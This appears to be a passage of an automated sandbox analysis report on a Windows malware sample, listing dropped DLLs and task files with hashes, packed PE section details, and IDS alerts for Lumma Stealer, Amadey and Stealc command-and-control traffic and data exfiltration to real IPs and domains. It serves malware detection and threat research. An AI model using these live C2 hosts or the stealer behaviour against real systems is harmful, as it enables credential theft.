Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Windows\134349.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe
File Type:	data
Category:	dropped
Size (bytes):	7152128
Entropy (8bit):	7.964234686725352
Encrypted:	false
SSDEEP:	196608:Zza16LzJQZkLMBagKdZ9Mt2lYx3DjExXAfXTn9n:FvPQBagKqpx3EJKXT9n
MD5:	7B331A21C16C645D6D8E7F0C2F947745
SHA1:	152523314DBA04A530852CA9C79E4AF8A9982370
SHA-256:	4E9AB804F64776A4D66F2678DCF5C35D54CEC1DB955AA383F099176E27C33CB1
SHA-512:	FDAB2C0814C8BFC0324D3C80EC910E93027FAEC02403E616D13514F2607D2530E3D50F558912BCF8B8889BF1F94E7747CEB570C7A36A09FC16A1A8609E3F078A
Malicious:	false
Preview:	1=r..............................................................\..S.j.S..e..................................\|{w.kjihgfe..7....B...>...:.Z.5...2.R.-...yJ.%...".7......./.......'..\...Y......................w.....o.F..}..f...vu..E[TXmm..........3'..Cd.....?...................4+......^........0...............................................~}\|{.yxwvutsr.ponmlkzihgfedcba`o^]\.7\X.VUT./TP.NMLK..H'GEDCr.@.d=<;:9876543..0.7-,[.,(.&%$#"! ........................G............................................M=OJ...b..............................#.."...z............m..........................~m.{z..wvMwsrqponmlkjihg.ed#.....\[..XWV..SRyPON;.KJIHGFEDCBA@?~=<{h....543.20/...++('&;.#"! .........V..S@.u{}p.......uq.......h.............-..,...........................................................................................................~}\|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+)('&%$#"! ......................................

C:\Windows\System32\BackupOfflineDownload.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	7152128
Entropy (8bit):	7.972216675355856
Encrypted:	false
SSDEEP:	98304:7wmgoJKEV1lrKdgqk9JDab2wy5NyKz5Rpej8Vlx8JPuf6xT23Rp0nDkF4tH1rNy3:78GKur1qksITlRUoVlx8In3+hNyCs
MD5:	50CD1FC018502F6F574571F83195130C
SHA1:	D4687A95F10653963D3D26AA0AD27E3943051750
SHA-256:	CEF9B76C2941DA4905EBBD1D1E6DBB24B708B3810D9E44714FC63F19B986489F
SHA-512:	B880F803DD9519608E26482BB6B97C3DD0950977909DD69352E7B31ECCBB4C8B8C68AC08344594A2341DE914DC63F439A6D6D7339E043934A409502AA2B875E4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..~...~...~...5...{...5.......5...n......t......p......4...5...y...~.......k...}...k.......k.D.....k.......Rich~...........PE..d...B..g.........." ...(.....rj.....@.........................................m...........`.........................................`...X.......<....`m......0m..&...........pm.....0...p..............................@............................................text............................... ..`.rdata..............................@..@.data...45i.......i.................@....pdata...&...0m..(....l.............@..@.rsrc........`m.......m.............@..@.reloc.......pm.......m.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\RemotePrinterSecurity.dll

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	5858304
Entropy (8bit):	7.982610597633025
Encrypted:	false
SSDEEP:	98304:1LY7dElG9FQUt96d0Db8o9nZVA8A3NgH8FrsFNR2Y6NtoBPgSqDh6EZc:1LY7dYMT6ob8oZHjAdgH8aR2Y6NOCSqw
MD5:	832016EA9FD0C10671FDD902BF46DD71
SHA1:	CBBD78F103F9C6C937D2902C31A0B74AE64FAB5F
SHA-256:	F44264A2C1FE0172A1E315687ACE8707A0F5B9D77606F303ED6A6268F90E903A
SHA-512:	746BE2F9C695DF9FB06A28A62DB92A3CC42DBA72E9D2DB612AD66EC051BCC7732093F3A113E98C5BE60388FD7DE795EAC8B8FC3226381205C9D78C10AD63C61A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.Jz...z...z...1.......1......1...j....3..p....3..t....3..+...1...w...z......o4..s...o4..{...o4..{...o4..{...Richz...........PE..d......g.........." ...(......U.....\.........................................Y...........`.........................................0...4...d...<.....Y......pY.H0............Y......a..p....................d..(....`..@............................................text............................... ..`.rdata..01.......2..................@..@.data.....T......fT.................@....pdata..H0...pY..2...$Y.............@..@.rsrc.........Y......VY.............@..@.reloc........Y......XY.............@..B................................................................................................................................................................................................................................................

C:\Windows\System32\ThreadRestartTerminal.dll

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	649216
Entropy (8bit):	7.56449125798002
Encrypted:	false
SSDEEP:	12288:KzZTV8pbvzZwGbnJzBZARXyvHjBij9nusaVFB:KzdV0bvzfiRCvHgJnrap
MD5:	9880395B81F10902261F21F9F6713FE9
SHA1:	24CEE2D4F25E8DC8673CB07B43AA078D5BB1A41D
SHA-256:	2A2DBD8B43FE21D070EA0AD198EE854CA4A90A93ADAF9210CA24351BB657C84F
SHA-512:	C6C707EFEDE769CFD4F69C1D6E38FD6A2DC743D5E1C4FE6C7C7D2F586A4FC8F4B52D94D9606BDE9BBD273AB0BEB6825FAB314C3B8ECAE116508D50986C37684B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:..~...~...~...5...{...5.......5...n......t......p......4...5...y...~.......k...}...k.......k.D.....k.......Rich~...........PE..d......g.........." ...(.....8......0........................................@............`.........................................P...T.......<.... ...........&...........0......0...p..............................@............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata...&.......(..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulZ//z:NllUB/
MD5:	067BE724A2D2DCCB015585FF4170F8B0
SHA1:	58C62049ACD6C616A425F11918D2853E0EE70308
SHA-256:	6423E6D2C5B6689C54AB203D487C9C5F837D8E92531FF72CDC5A4944696BCE33
SHA-512:	CAC1E82603470AAC0EE6DE8FF038094767FEACEF27F06F001F1565C5885C840C9DF1A6BE7B1C1471A36D06607D8DAC716D5C92559C56398A81EB31E80A06248E
Malicious:	false
Preview:	@...e.................................`..............@..........

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4213281166916545
Encrypted:	false
SSDEEP:	6:vIxsllWlbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lAt0:ksvWZuQ1CGAFifXVAt0
MD5:	4CE4647A39FAB55FA12D492346805B83
SHA1:	29947AEF51B7A49E46DBCB0D45FE9CC9A19F3BD6
SHA-256:	4804E230D70122497094829717AEC940D37C76BBD5BDC62EB1BCD6A3D545E341
SHA-512:	80552EEF9F1D434F10185D27C4A537721BF8F497BA8D4A8AAE3BFEE9EE65F5CE99B67D283666C05841A4EB3B6B52ADC9BE32FB4EBF1A6A4299B9DEE48BFCAB04
Malicious:	false
Preview:	.......n;E..,..G..F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\Temp\__PSScriptPolicyTest_0ct3ppjv.tg0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_0ixtzyoc.jbt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_2hnovgy2.wqo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_53lj2gm0.ps4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_laegqzwz.mia.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_vxomhagz.ev1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.560160952438143
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'000'320 bytes
MD5:	b46936cffdc42cdae5d2ac630d4d2ea3
SHA1:	a87e810985eb35b5350808a3adc7deb93971b454
SHA256:	d002a44cf998112f91a5a11bfde4320ab66cd0d21bab15b908827165df5b4fb6
SHA512:	8fec7fa2abd7d023224f57d27a843cd742aa5fdc988dcd353e679fc360bdc8da4e2f1bd75ea42c09f63a67f4f077633172620eb4909b3ed218b5b060f50511fe
SSDEEP:	24576:1Mhgt9ax/IZHpQjwUKKDGlRfq25v4hSmtafwLf/zVCHXhBo6+t4PnRzx+OZunF/p:1MS2x/SHp8AsS8a0KNPRx+OsBdCUwe/
TLSH:	A6D52952B51565CBD8CA16788627DD827DAE03BE0B2108D3D969A4BE7E63CC113FDC2C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1.....G.....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F85E1093D7Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	30f361a4870289b811b2fcfab9e22cdf	False	0.998046875	data	7.97732665012438	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqtmlxsm	0x5b000	0x2b1000	0x2b0c00	6e939b6bf0e35e657edeaf7cf06ac930	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mzkwthef	0x30c000	0x1000	0x600	74a5175e5b55e510e0ba10935c446941	False	0.5442708333333334	data	4.807282999438383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30d000	0x3000	0x2200	4e58c4fdf09253fff9055513406bfc91	False	0.06100643382352941	DOS executable (COM)	0.8042535769676176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T02:07:52.803758+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50035	188.114.97.3	443	TCP
2024-10-31T02:07:58.744082+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	55307	1.1.1.1	53	UDP
2024-10-31T02:07:58.757963+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	60700	1.1.1.1	53	UDP
2024-10-31T02:07:58.767818+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	55423	1.1.1.1	53	UDP
2024-10-31T02:07:58.777528+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	51177	1.1.1.1	53	UDP
2024-10-31T02:07:58.789507+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	59702	1.1.1.1	53	UDP
2024-10-31T02:07:59.449767+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:08:00.054841+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:08:00.054841+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-31T02:08:00.785794+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:08:01.545371+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:08:01.545371+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-31T02:08:02.296694+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-31T02:08:03.123301+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	188.114.97.3	443	TCP
2024-10-31T02:08:03.852369+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49707	188.114.97.3	443	TCP
2024-10-31T02:08:05.524164+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49708	188.114.97.3	443	TCP
2024-10-31T02:08:07.260589+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49709	188.114.97.3	443	TCP
2024-10-31T02:08:09.235931+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49710	188.114.97.3	443	TCP
2024-10-31T02:08:12.115624+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-31T02:08:12.635345+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-31T02:08:13.563271+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49712	185.215.113.16	80	TCP
2024-10-31T02:09:04.309246+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49964	185.215.113.43	80	TCP
2024-10-31T02:09:07.633893+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49982	154.216.17.34	80	TCP
2024-10-31T02:09:18.640732+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49977	TCP
2024-10-31T02:09:19.552049+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49988	185.215.113.43	80	TCP
2024-10-31T02:09:20.461266+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49990	31.41.244.11	80	TCP
2024-10-31T02:09:30.460210+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49994	185.215.113.43	80	TCP
2024-10-31T02:09:31.375453+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49995	185.215.113.16	80	TCP
2024-10-31T02:09:37.283047+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	51574	1.1.1.1	53	UDP
2024-10-31T02:09:37.293909+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	58098	1.1.1.1	53	UDP
2024-10-31T02:09:37.304982+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	62815	1.1.1.1	53	UDP
2024-10-31T02:09:37.315329+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	61524	1.1.1.1	53	UDP
2024-10-31T02:09:37.947265+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:38.327037+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49997	185.215.113.43	80	TCP
2024-10-31T02:09:38.458928+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:38.458928+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49996	188.114.97.3	443	TCP
2024-10-31T02:09:39.133062+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:39.239973+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49998	185.215.113.16	80	TCP
2024-10-31T02:09:39.629348+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:39.629348+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49999	188.114.97.3	443	TCP
2024-10-31T02:09:40.685439+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50000	188.114.97.3	443	TCP
2024-10-31T02:09:42.050673+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50001	188.114.97.3	443	TCP
2024-10-31T02:09:43.640232+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50002	188.114.97.3	443	TCP
2024-10-31T02:09:45.213533+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50003	188.114.97.3	443	TCP
2024-10-31T02:09:45.786400+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50003	188.114.97.3	443	TCP
2024-10-31T02:09:47.262786+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50004	188.114.97.3	443	TCP
2024-10-31T02:09:47.265607+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50004	188.114.97.3	443	TCP
2024-10-31T02:09:47.771574+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50005	185.215.113.43	80	TCP
2024-10-31T02:09:49.011188+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50006	185.215.113.16	80	TCP
2024-10-31T02:09:49.256929+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50008	188.114.97.3	443	TCP
2024-10-31T02:09:49.311990+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50007	185.215.113.206	80	TCP
2024-10-31T02:09:52.633225+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	56536	1.1.1.1	53	UDP
2024-10-31T02:09:52.646255+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	50276	1.1.1.1	53	UDP
2024-10-31T02:09:52.657496+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	54065	1.1.1.1	53	UDP
2024-10-31T02:09:52.668004+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	62096	1.1.1.1	53	UDP
2024-10-31T02:09:53.297608+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:09:53.936616+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:09:53.936616+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50009	188.114.97.3	443	TCP
2024-10-31T02:09:54.633105+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:09:54.950932+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:09:54.950932+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50010	188.114.97.3	443	TCP
2024-10-31T02:09:55.765956+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50011	185.215.113.43	80	TCP
